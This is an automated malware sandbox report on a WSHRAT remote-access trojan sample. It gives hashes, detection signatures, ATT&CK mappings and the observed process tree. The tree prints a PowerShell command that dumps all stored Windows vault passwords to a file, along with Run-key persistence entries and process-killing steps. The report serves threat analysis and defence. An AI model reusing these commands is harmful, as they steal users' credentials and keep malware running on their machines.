wshrat | fe7cb98f06f1cc388f492f98af7dddb68423afd87e431d2bb36a8a68cc0d1471

Analysis

max time kernel
150s
max time network
202s
platform
windows7_x64
resource
win7v20210410
submitted
05/08/2021, 03:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
94CEDBF96E556F012C1EAB9E9B82FB7F.exe
Size 951KB
Sample210805-xldl1pcaxe
SHA256 fe7cb98f06f1cc388f492f98af7dddb68423afd87e431d2bb36a8a68cc0d1471
MD5 94cedbf96e556f012c1eab9e9b82fb7f
SHA1 a2f162aac845998fda8f69f3a3874357994fe749
SHA512 9daf76cd62777d5c411479cf396fef1c9ec569cf6949e30eda3449daf6aa44b88efcbeb654fc86703fb7e015126d83c18743fbe0dc56c0d9a1708dee46f5934f
MD5 SHA1 SHA512

Score

10^/10

wshrat persistence spyware stealer suricata trojan

Malware Config

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

WSHRAT Payload 1 IoCs

resource	yara_rule
behavioral1/files/0x00040000000130ce-64.dat	family_wshrat

suricata: ET MALWARE WSHRAT CnC Checkin
suricata: ET MALWARE WSHRAT CnC Checkin
suricata
suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound
suricata: ET MALWARE WSHRAT Credential Dump Module Download Command Inbound
suricata
suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1
suricata: ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin 1
suricata

Blocklisted process makes network request 16 IoCs

flow	pid	Process
7	1980	wscript.exe
8	1980	wscript.exe
9	1980	wscript.exe
10	1980	wscript.exe
11	1980	wscript.exe
13	1980	wscript.exe
14	1980	wscript.exe
15	1980	wscript.exe
16	1980	wscript.exe
17	1980	wscript.exe
18	1980	wscript.exe
19	1980	wscript.exe
20	1980	wscript.exe
21	1980	wscript.exe
22	1980	wscript.exe
23	1980	wscript.exe

Executes dropped EXE 3 IoCs

pid	Process
1600	python.exe
1864	cmdc.exe
1252	cmdc.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NGYgx.vbs	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NGYgx.vbs	wscript.exe

Loads dropped DLL 32 IoCs

pid	Process
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe
1600	python.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Windows\CurrentVersion\Run\NGYgx = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\NGYgx.vbs\""	wscript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NGYgx = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\NGYgx.vbs\""	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 3 IoCs

evasion

pid	Process
960	taskkill.exe
1800	taskkill.exe
1364	taskkill.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1600	python.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2016	powershell.exe
2016	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2016	powershell.exe
Token: 35	1600	python.exe
Token: SeDebugPrivilege	960	taskkill.exe
Token: SeDebugPrivilege	1800	taskkill.exe
Token: SeDebugPrivilege	1364	taskkill.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 1980	1048	94CEDBF96E556F012C1EAB9E9B82FB7F.exe	26
PID 1048 wrote to memory of 1980	1048	94CEDBF96E556F012C1EAB9E9B82FB7F.exe	26
PID 1048 wrote to memory of 1980	1048	94CEDBF96E556F012C1EAB9E9B82FB7F.exe	26
PID 1980 wrote to memory of 2016	1980	wscript.exe	34
PID 1980 wrote to memory of 2016	1980	wscript.exe	34
PID 1980 wrote to memory of 2016	1980	wscript.exe	34
PID 1980 wrote to memory of 1736	1980	wscript.exe	36
PID 1980 wrote to memory of 1736	1980	wscript.exe	36
PID 1980 wrote to memory of 1736	1980	wscript.exe	36
PID 1736 wrote to memory of 1600	1736	cmd.exe	38
PID 1736 wrote to memory of 1600	1736	cmd.exe	38
PID 1736 wrote to memory of 1600	1736	cmd.exe	38
PID 1736 wrote to memory of 1600	1736	cmd.exe	38
PID 1980 wrote to memory of 1596	1980	wscript.exe	39
PID 1980 wrote to memory of 1596	1980	wscript.exe	39
PID 1980 wrote to memory of 1596	1980	wscript.exe	39
PID 1596 wrote to memory of 960	1596	cmd.exe	41
PID 1596 wrote to memory of 960	1596	cmd.exe	41
PID 1596 wrote to memory of 960	1596	cmd.exe	41
PID 1980 wrote to memory of 1988	1980	wscript.exe	42
PID 1980 wrote to memory of 1988	1980	wscript.exe	42
PID 1980 wrote to memory of 1988	1980	wscript.exe	42
PID 1988 wrote to memory of 1800	1988	cmd.exe	44
PID 1988 wrote to memory of 1800	1988	cmd.exe	44
PID 1988 wrote to memory of 1800	1988	cmd.exe	44
PID 1980 wrote to memory of 1864	1980	wscript.exe	45
PID 1980 wrote to memory of 1864	1980	wscript.exe	45
PID 1980 wrote to memory of 1864	1980	wscript.exe	45
PID 1980 wrote to memory of 1864	1980	wscript.exe	45
PID 1980 wrote to memory of 1700	1980	wscript.exe	46
PID 1980 wrote to memory of 1700	1980	wscript.exe	46
PID 1980 wrote to memory of 1700	1980	wscript.exe	46
PID 1700 wrote to memory of 1364	1700	cmd.exe	48
PID 1700 wrote to memory of 1364	1700	cmd.exe	48
PID 1700 wrote to memory of 1364	1700	cmd.exe	48
PID 1980 wrote to memory of 1252	1980	wscript.exe	49
PID 1980 wrote to memory of 1252	1980	wscript.exe	49
PID 1980 wrote to memory of 1252	1980	wscript.exe	49
PID 1980 wrote to memory of 1252	1980	wscript.exe	49
PID 1980 wrote to memory of 1672	1980	wscript.exe	50
PID 1980 wrote to memory of 1672	1980	wscript.exe	50
PID 1980 wrote to memory of 1672	1980	wscript.exe	50

C:\Users\Admin\AppData\Local\Temp\94CEDBF96E556F012C1EAB9E9B82FB7F.exe
"C:\Users\Admin\AppData\Local\Temp\94CEDBF96E556F012C1EAB9E9B82FB7F.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Roaming\NGYgx.vbs
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2016
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
      C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious use of AdjustPrivilegeToken
      PID:1600
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:960
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1800
- - C:\Users\Admin\AppData\Roaming\cmdc.exe
    "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
    3⤵
    - Executes dropped EXE
    PID:1864
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1364
- - C:\Users\Admin\AppData\Roaming\cmdc.exe
    "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
    3⤵
    - Executes dropped EXE
    PID:1252
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"
    3⤵
    PID:1672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1048-62-0x0000000000410000-0x0000000000494000-memory.dmp

Download

memory/1048-65-0x000000001AB20000-0x000000001AB22000-memory.dmp

Download

memory/1048-60-0x0000000000870000-0x0000000000871000-memory.dmp

Download

memory/1864-146-0x0000000075591000-0x0000000075593000-memory.dmp

Download

memory/1980-66-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

Download

memory/2016-69-0x0000000002470000-0x0000000002471000-memory.dmp

Download

memory/2016-70-0x000000001AB30000-0x000000001AB31000-memory.dmp

Download

memory/2016-71-0x00000000026B0000-0x00000000026B1000-memory.dmp

Download

memory/2016-72-0x00000000026E0000-0x00000000026E1000-memory.dmp

Download

memory/2016-74-0x000000001AAB4000-0x000000001AAB6000-memory.dmp

Download

memory/2016-73-0x000000001AAB0000-0x000000001AAB2000-memory.dmp

Download

memory/2016-75-0x000000001C390000-0x000000001C391000-memory.dmp

Download